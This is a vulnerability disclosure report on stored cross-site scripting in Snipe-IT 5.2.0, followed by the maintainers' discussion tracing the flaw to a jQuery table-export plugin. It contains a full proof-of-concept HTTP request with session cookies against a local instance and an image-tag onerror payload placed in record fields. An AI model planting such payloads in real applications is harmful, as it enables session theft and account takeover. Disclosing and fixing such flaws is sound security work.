Cross-site Scripting (XSS) - Stored in snipe/snipe-it
Reported on
Oct 11th 2021
Description
Multiple Stored XSS at parameter 'name' when creating a record at features 'Custom Fields', 'Asset Models', 'Suppliers', 'Locations', at Snipe-It 5.2.0
Proof of Concept
// PoC.req
POST /snipe-it/public/fields HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/snipe-it/public/fields/create
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Origin: http://127.0.0.1
Connection: close
Cookie: snipeit_session=0T5PDCYU5rYWFqgoGELcHUSDhNXKgoYfWymjjBcD; XSRF-TOKEN=eyJpdiI6IlNXdURJenR1RGNsVnJ1bXhZTjZIelE9PSIsInZhbHVlIjoiUWJkK2prcDVqeEh3YU16THBXemp5ZlEyUHFlWGZRWURwOTVPZjJtV0xKT09ucmpoYmZRTTRrRXBMdUVnOHFYXC81TUNhZ0U0R1NDMFwvNFV5XC9QSzhoUElySG8wRnNqYk1BTW5EdEdZazlxSzlIZDRJVGR6SHplb2x4V0hrNjg2TEQiLCJtYWMiOiI4NWUwZjQxZGZiNDVhM2YxZTdmNWY1YzY5OGZiNmI4MjAwZmVjOTU1MjZmMTNhMTM4MGRmNDNmNjMyMjU2YmFiIn0%3D; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6ImlWTjhuVHBCZGxyZlVZWkcrOFpzc0E9PSIsInZhbHVlIjoibnRcLzFuTGx3bTQ2U0lcL2R4MEJieU5BZ3RLMXpyaWYzdmx1ZlhMMENVSlwvV01jbVpUajVUVElScE5FcU1FVG1DMGltdlZtaXVmSzlVSnZoUU5JQjNWVWVlb0F5SUZSWkI1c1lTZndCSmh1TmhLaHBhbDM2Sk5tMVFTNTVzUjdIa3p1UmdVZWRJT2EydmRRT1B5Y0x6UVRDNFlJTTlNVDlwa2tRV1hkQTlzVHY4dUlMcmx1YkxlSDZQN24wMGNwQVJGNE80eWpTUXpnSjJzMkl4d3NEUHhlazlaeXRyNWo5eWJBQUZQXC9yNzBjTGs9IiwibWFjIjoiYzgzOWYwZGFmN2EyOGRlZDM3MDA1OGE0NTZjM2MwZDIyNTdmZmY2ODUxZGNkYTlmZTY2OGQ3YjU0MmU3MmZmOSJ9; laravel_token=eyJpdiI6IlwvdTBMVUhPWlBGQ2pGbUNIUzJSTEh3PT0iLCJ2YWx1ZSI6IlRmWml0VzdyUmRHbndBbVA2RXpHc24rdDg4bUhjazdqQXplUHB4QTEzTWNGbGllZXViRWF0a3J4XC80b3h3b1JyTDBwaU1XckF1eml1ZWlpdkxrXC9lRXJRaVVOU0xkWjRMSlBJOW1PclwvbUMzT0tlb04wQ2kzd294dnZwQlBXZ0tIeFNUYU44V0R0Vm5GSFMrVWhoTWxUT1wvVmF0R1JSVnVmbU40b2U0NFdiclZlclh1bGNJWE1jcGg3aXEwbHp4U2VKZGpENXY4bmlxajdxZmVNb0w2d2pVcUZSRitPZmE2VXlGNkVXdm91djRjbXpIendIanhUMitFOUp6TmVCdTlZa2hpUGl2bXN3NDlWN0RYOHd1NkVkWEp6cjk0TU1rbjFNYVFyUlMrNmE2Y29iaEpPeGk2eG9LbFpLaFBEZHBINyIsIm1hYyI6Ijc5OTYxMDlmZGYwODgyYTY1MjZlZWNhMDEwNjI5ZjVjMGRmNGU5YmIxNDYwODkwMTFlMjA1ZmY0MmYzZDAwODYifQ%3D%3D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
_token=Bnbso5v36oa9526ZsSBd7bEyqQIaXzqnKCPL5kJ4&name=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert%281%29%3B%22%3E&element=text&field_values=&format=ANY&custom_format=&help_text=
Step of Reproduct
At menu Settings choose to features 'Custom Fields', 'Asset Models', 'Suppliers', 'Locations',
Add new record with name contain payload: "><iMg SrC="x" oNeRRor="alert(1);">
The XSS will trigger when the user choose to 'Export data' as all file types
Video PoC: PoC
Impact
This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.
This appears to be an issue with the Bootstrap Table export feature, not specifically to us. (The files mentioned in this vulnerability are not correct btw. We store data as-is, and typically clean it on the way out. Bootstrap Table export methods do not seem to handle that, so we may contact the maintainer of that BS table extension. https://bootstrap-table.com/docs/extensions/export/
Hi, I checked on all other features and only the ones mentioned above can trigger xss
Hi - those only SAVE the data. The problem is with the JS export.
Yes, I know... but when i export in other features xss is not triggered. ^^
We don't treat those exports any differently than any others, so I don't know why that would be true. (We literally use the exact same bootstrap table export on all of our table listings.)
We're investigating this issue, but I'm not sure why it's only happening on only those exports.
Or on Asset Models export either. I can reproduce it on Custom Fields export, but not on Locations, Asset Models or Suppliers.
Sorry for the omission in my report.
On Locations input payload at field 'Address', 'City', 'State', On Asset Modiles input payload at field 'Model No.' On Suppliers input payload at field 'Address', 'Contact Name'
I am also helping you to check this case.
Thanks for the additional info. What's weird there is that we do actually escape that data via the API. Very curious why it's happening in some places and not the others.
Just an FYI, we're working through this here: https://github.com/snipe/snipe-it/pull/10190
Quick update - on further investigation, we're pretty convinced this is an issue in either the BS table export extension, or the jQuery table export plugin. We're going to try to bypass the BS table extension and call the jQuery export directly and see if that fixes the issue, and if so, we'll put up a PR for the BS table extension.
Looks like this issue might be in the jquery plugin itself. Activating it on its own still presents the same problem. And I understand why - they want to decode any HTML so that the export itself doesn't have all kinds of funky escaped HTML in it - but since they're stuffing it into the DOM, this presents a problem.
https://github.com/hhurz/tableExport.jquery.plugin/blob/cd16685b284f749f9360ac929b582501d874cb94/tableExport.js#L2122
The call stack for csv Export is ForEachVisibleCell -> CollectCsvData -> csvString -> parseString
but each export calls parseString
in the end.
If I'm being too verbose with this, just let me know. Just wanted to keep you updated.